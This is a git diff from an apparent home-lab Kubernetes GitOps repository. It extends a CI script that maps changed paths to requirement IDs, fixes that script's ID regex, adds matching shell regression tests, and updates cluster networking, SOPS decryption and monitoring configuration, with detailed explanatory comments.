+assert_verdict BLOCKED 1 "decisions-log SKIPPED (impossible by construction -> defect, blocks)"
+run_gate STAGE_RC_decisions_log=1 STAGE_RC_l1=3
+assert_verdict BLOCKED 1 "decisions-log FAILED outranks an l1 non-run"
+
+echo
+if [ "$FAIL" -eq 0 ]; then echo "gate-decision tests: PASS ($PASS assertions)"; exit 0
+else echo "gate-decision tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi

ci/tests/touched-requirements.test.sh

@@ -93,6 +93,141 @@ printf 'touched set (removal):\n%s\n---\n' "$OUT2"
 assert_absent  "R-DELDOC-01"  "$OUT2" "REMOVED whole-line comment R-ID is NOT attributed"
 assert_present "R-DELREAL-01"  "$OUT2" "REMOVED real-line R-ID IS attributed"
 
+# ---------------------------------------------------------------------------------------
+# PATH MAP — bootstrap/* (added 2026-09-13)
+#
+# WHY THIS IS LOCKED DOWN. path_requirements() keys `bootstrap/*` to R-STATE-03 +
+# R-GITOPS-01, and until 2026-09-13 the comment justifying it described
+# `bootstrap/standup.sh` as a file that carries the placeholder guards. That file has never
+# been on `main` (it landed only on unmerged prod-standup branches), so the comment was
+# stale and the entry looked like dead weight someone would tidy away. It is not dead: it
+# is what SELECTS conformance/tests/l0-static/placeholder-guard-coupling for the change
+# that eventually lands a placeholder guard under bootstrap/ — and that test discovers its
+# guard by content rather than by path, so it activates on exactly that change. Removing
+# the entry would let the change introducing a guard be gated by nothing, which is the
+# 2026-09-05 class. These assertions make the entry's deletion a test failure rather than a
+# silent loss of selection.
+#
+# NOTE the R-ID content scan must not be what produces these: `notes/` is outside the path
+# map precisely so the other cases isolate the scan, and here the file content cites no
+# R-ID at all, so any R-ID in the output came from the PATH.
+git -C "$TMP" checkout -q -b feature3 main
+mkdir -p "$TMP/bootstrap/flux"
+cat > "$TMP/bootstrap/flux/bootstrap.sh" <<'SH'
+#!/usr/bin/env bash
+# a bootstrap-path change that cites no requirement id of its own
+echo "flux bootstrap"
+SH
+git -C "$TMP" add -A && git -C "$TMP" commit -qm "touch bootstrap/"
+OUT3="$(REPO_ROOT="$TMP" BASE_REF=main "$SCRIPT" 2>/dev/null)"
+printf 'touched set (bootstrap/ path map):\n%s\n---\n' "$OUT3"
+assert_present "R-STATE-03"   "$OUT3" "bootstrap/* attributes R-STATE-03 (selects placeholder-guard-coupling)"
+assert_present "R-GITOPS-01"  "$OUT3" "bootstrap/* attributes R-GITOPS-01 (it IS the GitOps bootstrap path)"
+
+# And the neighbouring entry the same test leans on for its other half: clusters/* must
+# attribute R-ENV-02, which is what selects placeholder-guard-coupling's HALF A (the
+# authored-values sweep over clusters/<env> effective cluster-vars).
+git -C "$TMP" checkout -q -b feature4 main
+mkdir -p "$TMP/clusters/base"
+printf 'kind: ConfigMap\nmetadata:\n  name: cluster-vars\n' > "$TMP/clusters/base/cluster-vars.yaml"
+git -C "$TMP" add -A && git -C "$TMP" commit -qm "touch clusters/"
+OUT4="$(REPO_ROOT="$TMP" BASE_REF=main "$SCRIPT" 2>/dev/null)"
+printf 'touched set (clusters/ path map):\n%s\n---\n' "$OUT4"
+assert_present "R-ENV-02"     "$OUT4" "clusters/* attributes R-ENV-02 (selects placeholder-guard-coupling HALF A)"
+assert_present "R-GITOPS-01"  "$OUT4" "clusters/* attributes R-GITOPS-01"
+
+# ---------------------------------------------------------------------------------------
+# PATH MAP — apps/*, the C2 UI, and the platform assembly (added 2026-09-19)
+#
+# These arms closed the largest remaining fail-open hole in the map. Before them, 49 tracked
+# app manifests (apps/wave-0, -1, -2, apps/vms) plus platform/homepage, platform/headlamp,
+# platform/gateway, platform/kubevirt, platform/crafty, platform/coredns, the snapshot/backup
+# machinery and platform/kustomization.yaml all attributed NOTHING — so a change to any of them
+# selected only the whole-repo-scoped checks, and every requirement-scoped L2 behaviour test
+# (default-deny, egress class, auth mode, C2 surface) was filtered out of the merge gate.
+#
+# The C2 case was already documented as a known gap in changed_diff()'s rule-3 comment: the ONLY
+# route to R-C2-01/02 was rule 3, i.e. editing the C2 test itself.
+#
+# As with bootstrap/ above, each fixture cites NO R-ID of its own, so any R-ID in the output came
+# from the PATH and not from the content scan.
+
+# apps/vms/* must win over apps/* — `case` takes the FIRST match, so arm ORDER is the property
+# under test here, not just the presence of both arms.
+git -C "$TMP" checkout -q -b feature-apps-vms main
+mkdir -p "$TMP/apps/vms/demo"
+printf 'kind: VirtualMachine\nmetadata:\n  name: demo\n' > "$TMP/apps/vms/demo/vm.yaml"
+git -C "$TMP" add -A && git -C "$TMP" commit -qm "touch apps/vms/"
+OUT_VMS="$(REPO_ROOT="$TMP" BASE_REF=main "$SCRIPT" 2>/dev/null)"
+printf 'touched set (apps/vms/ path map):\n%s\n---\n' "$OUT_VMS"
+assert_present "R-PLAT-03"  "$OUT_VMS" "apps/vms/* attributes R-PLAT-03 (KubeVirt VM lifecycle)"
+assert_present "R-STATE-01" "$OUT_VMS" "apps/vms/* attributes R-STATE-01 (VM root/data volumes)"
+assert_absent  "R-PLAT-02"  "$OUT_VMS" "apps/vms/* does NOT fall through to the apps/* container arm (order holds)"
+
+# A plain ServiceDefinition under apps/ gets the container-workload set.
+git -C "$TMP" checkout -q -b feature-apps main
+mkdir -p "$TMP/apps/wave-1"
+printf 'kind: ServiceDefinition\nmetadata:\n  name: demo\n' > "$TMP/apps/wave-1/demo.yaml"
+git -C "$TMP" add -A && git -C "$TMP" commit -qm "touch apps/wave-1/"
+OUT_APPS="$(REPO_ROOT="$TMP" BASE_REF=main "$SCRIPT" 2>/dev/null)"
+printf 'touched set (apps/ path map):\n%s\n---\n' "$OUT_APPS"
+assert_present "R-PLAT-02"  "$OUT_APPS" "apps/* attributes R-PLAT-02 (container workload render)"
+assert_present "R-NET-01"   "$OUT_APPS" "apps/* attributes R-NET-01 (default-deny applies to every app)"
+assert_present "R-NET-06"   "$OUT_APPS" "apps/* attributes the egress-class requirements"
+assert_present "R-IDP-02"   "$OUT_APPS" "apps/* attributes the auth-mode requirements"
+
+# homepage / headlamp ARE the command-centre surface.
+git -C "$TMP" checkout -q -b feature-c2 main
+mkdir -p "$TMP/platform/headlamp"
+printf 'kind: Deployment\nmetadata:\n  name: headlamp\n' > "$TMP/platform/headlamp/deployment.yaml"
+git -C "$TMP" add -A && git -C "$TMP" commit -qm "touch platform/headlamp/"
+OUT_C2="$(REPO_ROOT="$TMP" BASE_REF=main "$SCRIPT" 2>/dev/null)"
+printf 'touched set (C2 path map):\n%s\n---\n' "$OUT_C2"
+assert_present "R-C2-01" "$OUT_C2" "platform/headlamp/* attributes R-C2-01 (was reachable only by editing the C2 test)"
+assert_present "R-C2-02" "$OUT_C2" "platform/headlamp/* attributes R-C2-02"
+
+# platform/kustomization.yaml is the assembly: one deleted line disables a whole component.
+git -C "$TMP" checkout -q -b feature-assembly main
+mkdir -p "$TMP/platform"
+printf 'resources:\n  - cilium\n  - longhorn\n' > "$TMP/platform/kustomization.yaml"
+git -C "$TMP" add -A && git -C "$TMP" commit -qm "touch platform/kustomization.yaml"
+OUT_ASM="$(REPO_ROOT="$TMP" BASE_REF=main "$SCRIPT" 2>/dev/null)"
+printf 'touched set (platform assembly):\n%s\n---\n' "$OUT_ASM"
+assert_present "R-GITOPS-01" "$OUT_ASM" "platform/kustomization.yaml attributes R-GITOPS-01 (component assembly)"
+
+# ---------------------------------------------------------------------------------------
+# THE ID PATTERN MUST ALLOW A DIGIT IN THE WORKSTREAM SEGMENT (added 2026-09-13)
+#
+# The content scan's pattern was `R-[A-Z]+-[0-9]+`, which CANNOT match `R-C2-01` or
+# `R-C2-02` — `[A-Z]+` consumes the `C` and then demands a `-` where the `2` is. Those are
+# the only two registry IDs whose workstream segment carries a digit, and the scan was blind
+# to BOTH, in the fail-OPEN direction: a change self-declaring a C2 requirement contributed
+# it to nobody, so the C2 conformance tests were filtered out of the merge gate. Found while
+# wiring conformance/tests/l0-static/c2-root-surface, which closes those two coverage gaps.
+#
+# `notes/` is outside path_requirements() on purpose, so the IDs below can only have come
+# from the CONTENT SCAN. A neighbouring all-letter ID is asserted too, so a regex that
+# somehow matched only the digit form would still fail here.
+git -C "$TMP" checkout -q -b feature5 main
+cat > "$TMP/notes/c2.yaml" <<'YAML'
+kind: Test
+metadata:
+  labels:
+    conformance.home.k3s/R-C2-01: "true"
+    conformance.home.k3s/R-C2-02: "true"
+    conformance.home.k3s/R-OBS-04: "true"
+YAML
+git -C "$TMP" add -A && git -C "$TMP" commit -qm "declare R-C2-01 / R-C2-02"
+OUT5="$(REPO_ROOT="$TMP" BASE_REF=main "$SCRIPT" 2>/dev/null)"
+printf 'touched set (digit in the workstream segment):\n%s\n---\n' "$OUT5"
+assert_present "R-C2-01"  "$OUT5" "an R-ID with a DIGIT in the workstream segment IS attributed (R-C2-01)"
+assert_present "R-C2-02"  "$OUT5" "the second such ID is attributed too (R-C2-02)"
+assert_present "R-OBS-04" "$OUT5" "an all-letter workstream segment still works (control)"
+# The pattern must not become so loose that a non-ID token is read as a requirement: a bare
+# numeric workstream is not a registry shape, and attributing one would WIDEN the gate on
+# noise (over-broad selection, never a false green, but noisy and misleading).
+assert_absent  "R-1-01"   "$OUT5" "a purely numeric workstream segment is not invented from thin air"
+
 echo
 if [ "$FAIL" -eq 0 ]; then echo "touched-requirements tests: PASS ($PASS assertions)"; exit 0;
 else echo "touched-requirements tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi

ci/touched-requirements.sh

@@ -177,6 +177,23 @@ path_requirements() {
   case "$1" in
     catalog/*)                 echo "R-GITOPS-02" ;;
     schemas/*)                 echo "R-GITOPS-02" ;;
+    # apps/* was UNMAPPED until 2026-09-19, and it is the largest such hole in the map: 49 tracked
+    # manifests (apps/wave-0, -1, -2, apps/vms) that describe every workload on the cluster. A change
+    # adding or editing an app attributed NOTHING, so the merge gate ran only the whole-repo-scoped
+    # checks and none of the requirement-scoped L2 behaviour tests — default-deny enforcement, egress
+    # class enforcement, auth-mode enforcement — which are exactly what a new or edited app can
+    # violate. Kyverno admission and the L0 egress-path check are real backstops, but "admission will
+    # catch it at apply time" is post-merge, and the gate exists to catch it before.
+    #
+    # ORDER MATTERS: `case` takes the FIRST match, so apps/vms/* must precede apps/*.
+    # apps/vms/ are KubeVirt VMs (R-PLAT-03 lifecycle) with root/data volumes (R-STATE-01), still
+    # subject to default-deny (R-NET-01).
+    apps/vms/*)                echo "R-PLAT-03 R-NET-01 R-STATE-01" ;;
+    # Everything else under apps/ is a ServiceDefinition rendered by catalog/render.py: a container
+    # workload (R-PLAT-02) rendered from the catalog (R-GITOPS-02), carrying the egress-class
+    # (R-NET-05/06/07) and auth-mode (R-IDP-02/R-IDP-06) labels that admission requires, under
+    # default-deny (R-NET-01).
+    apps/*)                    echo "R-PLAT-02 R-GITOPS-02 R-NET-01 R-NET-05 R-NET-06 R-NET-07 R-IDP-02 R-IDP-06" ;;
     platform/kyverno/*)        echo "R-TEST-01 R-NET-01 R-SEC-01" ;;
     platform/cilium/*)         echo "R-NET-01 R-NET-02 R-NET-05" ;;
     platform/longhorn/*)       echo "R-STATE-01 R-STATE-02" ;;
@@ -208,6 +225,39 @@ path_requirements() {
     platform/keycloak/*)       echo "R-IDP-01 R-IDP-02 R-IDP-03 R-IDP-04 R-IDP-05 R-IDP-06" ;;
     platform/oauth2-proxy/*)   echo "R-IDP-02 R-IDP-06" ;;
     platform/image-automation/*) echo "R-UPD-01 R-UPD-02" ;;
+    # The C2 UI was UNMAPPED until 2026-09-19. This is the gap named explicitly in changed_diff()'s
+    # rule-3 comment above: "path_requirements() has no arm for platform/homepage/* or
+    # platform/headlamp/* either, so the ONLY route to R-C2-01/02 was rule 3 (editing the C2 test
+    # itself)". homepage + headlamp ARE the command-centre surface (registry: R-C2-01/02 ->
+    # docs/12-command-center-ui.md), so editing them must select the C2 tests.
+    platform/homepage/*|platform/headlamp/*) echo "R-C2-01 R-C2-02" ;;
+    # KubeVirt is the VM platform itself (R-PLAT-03); its virt-* components are also scrape targets.
+    platform/kubevirt/*)       echo "R-PLAT-03 R-OBS-01" ;;
+    # The shared ingress Gateway: the L2-announced VIP every HTTP service answers on (R-DNS-01), the
+    # TLS listeners and their certificates (R-TLS-01/02), under default-deny (R-NET-01).
+    platform/gateway/*)        echo "R-DNS-01 R-TLS-01 R-TLS-02 R-NET-01" ;;
+    # CoreDNS is cluster DNS resolution (R-DNS-01).
+    platform/coredns/*)        echo "R-DNS-01" ;;
+    # crafty is a first-class app living under platform/: a container workload with a Longhorn PVC and
+    # its OWN L4 LoadBalancer VIP (Minecraft 25565 is not HTTP, so it does not use the Gateway).
+    platform/crafty/*)         echo "R-PLAT-02 R-NET-01 R-DNS-01 R-STATE-01" ;;
+    # Snapshot machinery is the storage/DR path: CSI snapshots (R-STATE-01) feeding backup (R-STATE-03).
+    platform/external-snapshotter/*|platform/backup/*) echo "R-STATE-01 R-STATE-03" ;;
+    # runbooks/ IS the R-OBS-04 surface: alert-runbooks-resolvable asserts every alert's runbook_url
+    # resolves to a served page, and runbooks/serving/ is the Deployment that serves them. That check
+    # is whole-repo-scoped so it runs regardless, but the attribution should still be honest — a
+    # runbook change is an observability change.
+    runbooks/*)                echo "R-OBS-04" ;;
+    # platform-config/ is the env-specific configuration Flux substitutes into and applies.
+    platform-config/*|platform-config-cdi/*) echo "R-ENV-02 R-GITOPS-01" ;;
+    # platform/kustomization.yaml is the ASSEMBLY: the list of platform components Flux applies.
+    # Deleting one line there disables an entire component (cilium, longhorn, velero...) while every
+    # file it points at stays perfectly valid on disk, so nothing else in the map would attribute the
+    # change. That is the most consequential single-line edit in the repo and it attributed nothing.
+    platform/kustomization.yaml) echo "R-GITOPS-01" ;;
+    # .sops.yaml holds the encryption rules (which paths must be encrypted, with which keys). A change
+    # here can silently stop a new secret path from being encrypted, which is R-SEC-01's whole point.
+    .sops.yaml)                echo "R-SEC-01 R-GITOPS-01" ;;
     conformance/*)             echo "R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04" ;;
     # infra/ was UNMAPPED until 2026-09-12 — the OpenTofu + Ansible that provision the dev
     # nodes. conformance/tests/l0-static/dev-nodes-provisioned-as-code reads NOTHING but
@@ -217,14 +267,23 @@ path_requirements() {
     # chainsaw-test.yaml), and the correct fix for a path-scoped invariant is a path-map entry.
     infra/*)                   echo "R-ENV-01" ;;
     clusters/*)                echo "R-GITOPS-01 R-ENV-02" ;;
-    # bootstrap/ was UNMAPPED until 2026-09-06, and the omission was load-bearing:
-    # bootstrap/standup.sh carries the placeholder guards that decide whether `velero` may be
-    # enabled against a real backup endpoint. A change touching standup.sh ALONGSIDE any
-    # already-mapped path scoped the L0 run to that other path's requirements and silently
-    # excluded conformance/tests/l0-static/placeholder-guard-coupling — the check that exists
-    # precisely to catch a guard/value mismatch. The 2026-09-05 guard bug (a prefix glob that
-    # stopped matching when the value it guards changed, in a different file) is exactly the
-    # class that omission would hide.
+    # bootstrap/ was UNMAPPED until 2026-09-06. The entry STAYS, but its original rationale
+    # was written against a file that is not here, and that is corrected on 2026-09-13:
+    # it claimed "bootstrap/standup.sh carries the placeholder guards that decide whether
+    # `velero` may be enabled against a real backup endpoint". bootstrap/standup.sh HAS NEVER
+    # BEEN ON `main` — it was not deleted (no deletion commit exists anywhere), it landed only
+    # on unmerged prod-standup branches. `git ls-tree main bootstrap/` lists README.md, flux/,
+    # gitea/, sops/. So R-STATE-03 here is ANTICIPATORY, not descriptive.
+    #
+    # WHY IT IS STILL RIGHT. conformance/tests/l0-static/placeholder-guard-coupling DISCOVERS
+    # its guard (any tracked *.sh defining `<name>_is_placeholder()`) instead of hardcoding a
+    # path, so the moment a standup guard lands under bootstrap/ that test's coupling half
+    # activates — and this entry is what selects the test for the change that lands it.
+    # Deleting the entry would mean the change introducing a placeholder guard is gated by
+    # nothing, which is the 2026-09-05 class (a prefix glob that stopped matching when the
+    # value it guards changed, in a different file) left to reintroduce itself. R-GITOPS-01 is
+    # descriptive today: bootstrap/flux/, gitea/ and sops/ ARE the GitOps bootstrap path.
+    # Locked down by ci/tests/touched-requirements.test.sh's path-map section.
     bootstrap/*)               echo "R-STATE-03 R-GITOPS-01" ;;
     # R-TEST-06 added 2026-09-12. The comment in changed_diff()'s rule 3 above records why it
     # was ABSENT: R-TEST-06 used to be enforced by the spec-immutability STAGE and carried by no
@@ -336,6 +395,21 @@ main() {
   done <<< "$files"
 
   # Self-declared R-IDs on the ADDED/REMOVED lines of the change (see changed_diff).
+  #
+  # THE ID PATTERN IS `R-[A-Z0-9]+-[0-9]+`, NOT `R-[A-Z]+-[0-9]+`. The WORKSTREAM segment may
+  # contain a DIGIT: `R-C2-01` and `R-C2-02` (command & control UI) are the only two such IDs
+  # in conformance/requirements/registry.yaml today, and the stricter pattern silently failed
+  # to match BOTH of them — `[A-Z]+` consumes the `C` and then demands a `-` where the `2` is.
+  # Every other consumer in the repo already allows the digit: test_requirements_for_path()
+  # twenty lines above uses `R-[A-Z0-9]+-[0-9]+`, as do conformance/lib/coverage.py,
+  # conformance/lib/status.py and conformance/lib/run_l1_offline.py. This grep was the lone
+  # dissenter, and it dissented by UNDER-attributing — the fail-OPEN direction. A change that
+  # retyped a `conformance.home.k3s/R-C2-01` tag, or a manifest self-declaring R-C2-02 from a
+  # path the map keys elsewhere, contributed those IDs to NOBODY, so the C2 tests were
+  # filtered out of the merge gate. Same defect class as the map's `*) : ;;` arm: a miss that
+  # reads as "nothing touched". path_requirements() has no arm for platform/homepage/* or
+  # platform/headlamp/* either, so before this fix the ONLY route to R-C2-01/02 was rule 3
+  # (editing the C2 test itself). Regression-tested in ci/tests/touched-requirements.test.sh.
   # `^[+-]` keeps hunk headers (`@@`) and the `+++`/`---` file headers out of scope.
   # `sed 's/^[+-]//'` then strips the single-char diff marker (safe: -U0 emits one), so
   #   what remains is the SOURCE line, and `grep -vE '^[[:space:]]*#'` drops whole-line
@@ -349,7 +423,7 @@ main() {
     | grep -vE '^(\+\+\+|---)' \
     | sed -E 's/^[+-]//' \
     | grep -vE '^[[:space:]]*#' \
-    | grep -hoE 'R-[A-Z]+-[0-9]+' \
+    | grep -hoE 'R-[A-Z0-9]+-[0-9]+' \
     | tr '\n' ' ' || true)"
 
   # Normalize: split, unique, sort. Emit to stdout.

clusters/README.md

@@ -1,5 +1,19 @@
 # clusters/
 
+> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
+> This document speaks as though no cluster exists and the platform is scaffolding. **A
+> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
+> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
+> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
+> describing a **live gap** rather than an expected stage — most importantly, L2/L3
+> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
+> coverage hole, not a phase.
+>
+> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
+> documentation rather than measurement, and `main` was unprotected with zero runners
+> registered the whole time. **Query the live API before asserting platform state.**
+
+
 Flux entrypoints and the environment-overlay model (**R-ENV-02**, **R-GITOPS-01/02/03**).
 
 Governing spec: [`docs/05-gitops-and-delivery.md`](../../home-network-k3s/docs/05-gitops-and-delivery.md),

clusters/base/cluster-vars.yaml

@@ -99,7 +99,9 @@ data:
   # (CILIUM_LB_POOL_*, and keycloak-db's S3_BACKUP_ENDPOINT + CNPG_BACKUP_PATH: the Cluster lives at
   # platform/keycloak/postgres-cluster.yaml but is rendered by platform-config, which is the ONLY
   # tier that lists it), crafty (CRAFTY_L4_VIP), apps-wave-0 (nextcloud-db + semaphore-db:
-  # S3_BACKUP_ENDPOINT, CNPG_BACKUP_PATH), velero (S3_BACKUP_ENDPOINT, S3_BACKUP_REGION,
+  # S3_BACKUP_ENDPOINT, CNPG_BACKUP_PATH; pihole + pihole-dns: PIHOLE_DNS_VIP, LAN_CIDR, plus
+  # GATEWAY_VIP/UNIFI_L4_VIP/CRAFTY_L4_VIP read BY pihole to author its LAN split-horizon answers),
+  # velero (S3_BACKUP_ENDPOINT, S3_BACKUP_REGION,
   # VELERO_BACKUP_BUCKET, VELERO_BACKUP_PREFIX), apps-vms (UNIFI_L4_VIP). A ${TOKEN} in an
   # UNSUBSTITUTED path would ship the literal string into the cluster.
   #
@@ -159,6 +161,30 @@ data:
   # HTTPS Gateway cannot express (raw TCP/UDP), so they hold their own stable address:
   UNIFI_L4_VIP: "192.168.1.54"               # UniFi controller VM: inform/STUN/adoption (apps/vms/unifi)
   CRAFTY_L4_VIP: "192.168.1.55"              # Crafty: Minecraft Java (TCP) + Bedrock (UDP) game ports
+  # PiHole's DNS listener: udp/53 + tcp/53 for LAN CLIENTS (apps/wave-0/pihole-dns.yaml). It is a
+  # THIRD pinned L4 VIP for the same reason as the two above — the `shared` Gateway is an L7 HTTPS
+  # terminator and cannot express DNS at all (udp/53 especially). It must NOT be ${GATEWAY_VIP}:
+  # LAN clients are pointed at this address as their resolver, and it has to stay put across
+  # reschedules, so it is pinned by lbipam.cilium.io/ips rather than taken from the pool head.
+  #
+  # WHY A SEPARATE ADDRESS AND NOT THE GATEWAY VIP: every `<svc>.${BASE_DOMAIN}` name resolves TO
+  # the Gateway VIP. Serving DNS from the same address would be legal but conflates "the thing that
+  # answers where services live" with "a service", and it would put LAN resolution behind the
+  # Gateway Service's own lifecycle. Keep them separate.
+  #
+  # dev  -> 192.168.1.56  (base default; next free after crafty .55 in dev's .53-.60 pool)
+  # prod -> 192.168.2.23  (next free after crafty .22 in prod's .20-.30 pool; see clusters/prod)
+  PIHOLE_DNS_VIP: "192.168.1.56"             # PiHole: authoritative LAN DNS for ${BASE_DOMAIN}
+
+  # The FLAT LAN this cluster's nodes and LB VIPs live on, in CIDR form. Consumed as the ingress
+  # peer of the PiHole DNS CiliumNetworkPolicy (apps/wave-0/pihole-dns.yaml): a resolver reachable
+  # from `world` is an open resolver and an amplification reflector, so the allow is scoped to this
+  # CIDR, not to Cilium's `world` entity the way the unifi/crafty game-port allows are. It is the
+  # same /24 the node IPs and ${CILIUM_LB_POOL_START}..${CILIUM_LB_POOL_STOP} come out of.
+  #
+  # dev  -> 192.168.1.0/24  (Proxmox LAN; nodes .50/.51/.52)
+  # prod -> 192.168.2.0/24  (prod LAN; nodes .10/.11/.12)
+  LAN_CIDR: "192.168.1.0/24"                 # ingress scope for the PiHole DNS listener
 
   # --- Bulk (external NFS) storage host (docs/04 bulk tier) ---------------------------------------
   # THE address of the Proxmox host whose ZFS datasets back every `class: bulk` volume: the media

clusters/base/conformance.yaml

@@ -0,0 +1,31 @@
+---
+# Conformance identities (ns + conformance-runner + conformance-trigger RBAC).
+#
+# NON-GATING, exactly like apps-vms: `wait: false` and its own Kustomization, so a conformance
+# identity can never gate the platform or app tiers. A test harness that stalls the estate it is
+# meant to verify is worse than no harness.
+#
+# dependsOn platform-config only — it needs nothing from the app waves, and nothing in the app
+# waves needs it.
+#
+# NOTE: this reconciles RBAC that is INERT until
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml is also enforcing. That policy
+# ships in the `platform` tier, which reconciles before this. Do not reorder them so that the
+# trigger identity can exist while the policy bounding it does not.
+apiVersion: kustomize.toolkit.fluxcd.io/v1
+kind: Kustomization
+metadata:
+  name: conformance
+  namespace: flux-system
+spec:
+  interval: 10m
+  retryInterval: 2m
+  timeout: 5m
+  prune: true
+  wait: false
+  dependsOn:
+    - name: platform-config
+  sourceRef:
+    kind: GitRepository
+    name: flux-system
+  path: ./conformance/incluster

clusters/base/homepage.yaml

@@ -34,8 +34,12 @@ spec:
     kind: GitRepository
     name: flux-system
   path: ./platform/homepage
-  # Homepage references no ${VARS} today; the substitution is retained for parity with the other
-  # tiers / future overlay knobs.
+  # LOAD-BEARING, not parity decoration (the comment here used to say the opposite). This component
+  # references ${BASE_DOMAIN} in TWO places: httproute.yaml's apex hostname, and EVERY tile href in
+  # configmap.yaml. Without this substitution the token is applied LITERALLY — the apex route binds
+  # the host `${BASE_DOMAIN}`, which matches no Gateway listener, and every link on the operator's
+  # front door points at a host that does not exist — while Flux still reports this Kustomization
+  # Ready. It fails OPEN. Asserted by conformance/tests/l0-static/c2-root-surface (5).
   postBuild:
     substituteFrom:
       - kind: ConfigMap

clusters/base/kustomization.yaml

@@ -33,6 +33,7 @@ resources:
   - apps-wave-2.yaml     # Flux Kustomization -> ./apps/wave-2 (dependsOn apps-wave-1)
   # VM tier (KubeVirt) — non-gating (wait:false), separate lifecycle from the app waves.
   - apps-vms.yaml        # Flux Kustomization -> ./apps/vms (dependsOn platform-config)
+  - conformance.yaml     # Flux Kustomization -> ./conformance/incluster (non-gating; R-SEC-02 trigger identity)
   # oauth2-proxy forward-auth — POST-platform tier (dependsOn platform-config, wait:false). A leaf
   # service that needs Keycloak + trusted TLS + split-horizon DNS must NOT sit in the gating
   # `platform` tier, where it self-gated its own dependencies into a cold-start deadlock (twice).

clusters/dev/kustomization.yaml

@@ -122,6 +122,23 @@ patches:
           provider: sops
           secretRef:
             name: sops-age
+  # apps-vms (the KubeVirt VM tier, clusters/base/apps-vms.yaml) gained its FIRST encrypted Secret
+  # on 2026-09-14: apps/vms/unifi/unifi-uos-installer.sops.yaml, the operator's UOS installer URL,
+  # which 30-virtualmachine.yaml mounts into the guest as a disk. Without this stanza kustomize
+  # would hand Flux the raw SOPS document and the VM would mount a disk full of ciphertext — the
+  # failure is silent from the cluster's point of view (the Secret applies fine), so the stanza is
+  # as load-bearing as the file itself. The `sops-age` Secret is out-of-band (name only).
+  - patch: |-
+      apiVersion: kustomize.toolkit.fluxcd.io/v1
+      kind: Kustomization
+      metadata:
+        name: apps-vms
+        namespace: flux-system
+      spec:
+        decryption:
+          provider: sops
+          secretRef:
+            name: sops-age
   - patch: |-
       apiVersion: source.toolkit.fluxcd.io/v1
       kind: GitRepository

clusters/prod/kustomization.yaml

@@ -113,6 +113,23 @@ patches:
           provider: sops
           secretRef:
             name: sops-age
+  # apps-vms (the KubeVirt VM tier, clusters/base/apps-vms.yaml) gained its FIRST encrypted Secret
+  # on 2026-09-14: apps/vms/unifi/unifi-uos-installer.sops.yaml, the operator's UOS installer URL,
+  # which 30-virtualmachine.yaml mounts into the guest as a disk. Without this stanza kustomize
+  # would hand Flux the raw SOPS document and the VM would mount a disk full of ciphertext — the
+  # failure is silent from the cluster's point of view (the Secret applies fine), so the stanza is
+  # as load-bearing as the file itself. Mirrors clusters/dev. `sops-age` is out-of-band (name only).
+  - patch: |-
+      apiVersion: kustomize.toolkit.fluxcd.io/v1
+      kind: Kustomization
+      metadata:
+        name: apps-vms
+        namespace: flux-system
+      spec:
+        decryption:
+          provider: sops
+          secretRef:
+            name: sops-age
   # --- GitOps source (operator decision 2026-09-01: prod tracks the SAME BRANCH as dev) ---
   #
   # ############################################################################################
@@ -349,8 +366,16 @@ patches:
       # Size-cap below the 50Gi PVC (headroom for WAL + head + compaction scratch): prod may hit the
       # size cap before 30d if series volume is high, keeping the disk from filling either way.
       - op: replace
+      # LOWERED 45GiB -> 36GiB on 2026-09-13. 45 of 50Gi left only 5 GiB, which is not headroom for
+      # what the comment above already names: retentionSize counts ONLY persisted blocks, not the WAL,
+      # not the head's in-flight segments, and not compaction scratch, and a large compaction can need
+      # roughly the size of the blocks being merged. At 90% one bad compaction is ENOSPC, and ENOSPC on
+      # /prometheus wedges every WAL commit: scrapes keep succeeding, nothing is stored, and every
+      # absent()/==0 alert in the platform fires falsely at once. Costs NO history: the TSDB is 11.2 GiB
+      # at 30d today, so 36GiB is ~3x current and 30d stays the binding limit. To keep more history,
+      # grow the PVC rather than the fraction of it.
         path: /data/MONITORING_PROMETHEUS_RETENTION_SIZE
-        value: "45GiB"
+        value: "36GiB"
       - op: replace
         path: /data/MONITORING_LOKI_PVC_SIZE
         value: "50Gi"
@@ -440,6 +465,23 @@ patches:
       - op: replace
         path: /data/CRAFTY_L4_VIP
         value: "192.168.2.22"
+      # PiHole's DNS listener VIP — udp/53 + tcp/53 for LAN clients (apps/wave-0/pihole-dns.yaml).
+      # 192.168.2.23 is the NEXT FREE address in the prod pool 192.168.2.20-.30, verified live
+      # 2026-09-14: the CiliumLoadBalancerIPPool `default-pool` reported IPsTotal 11 / IPsUsed 3 /
+      # IPsAvailable 8, and the only three allocations are .20 (cilium-gateway-shared), .21
+      # (unifi-l4-tcp/-udp) and .22 (crafty-l4-tcp/-udp). ARP-probed from a LAN host in the same
+      # broadcast domain (arping 192.168.2.23, 3 probes, 0 responses), so nothing off-cluster holds
+      # it either, and it is inside the pool block the operator already asserted sits outside the
+      # SOHO router's DHCP scope.
+      - op: replace
+        path: /data/PIHOLE_DNS_VIP
+        value: "192.168.2.23"
+      # The prod flat LAN. This is the 192.168.2.0/24 segment the SOHO ROUTER at 192.168.2.1 owns —
+      # NOT pfSense's 192.168.1.0/24, which is a different network and not in the LAN-DNS path.
+      # It scopes the ingress allow for PiHole's DNS listener to LAN clients only.
+      - op: replace
+        path: /data/LAN_CIDR
+        value: "192.168.2.0/24"
       # ------------------------------------------------------------------------------------------
       # BULK (EXTERNAL NFS) STORAGE HOST — *** NOT YET DECIDED. THIS PLACEHOLDER IS LOAD-BEARING. ***
       # ------------------------------------------------------------------------------------------

conformance/README.md

@@ -1,5 +1,19 @@
 # conformance/ — the home-k3s conformance harness (WS-TEST)
 
+> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
+> This document speaks as though no cluster exists and the platform is scaffolding. **A
+> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
+> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
+> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
+> describing a **live gap** rather than an expected stage — most importantly, L2/L3
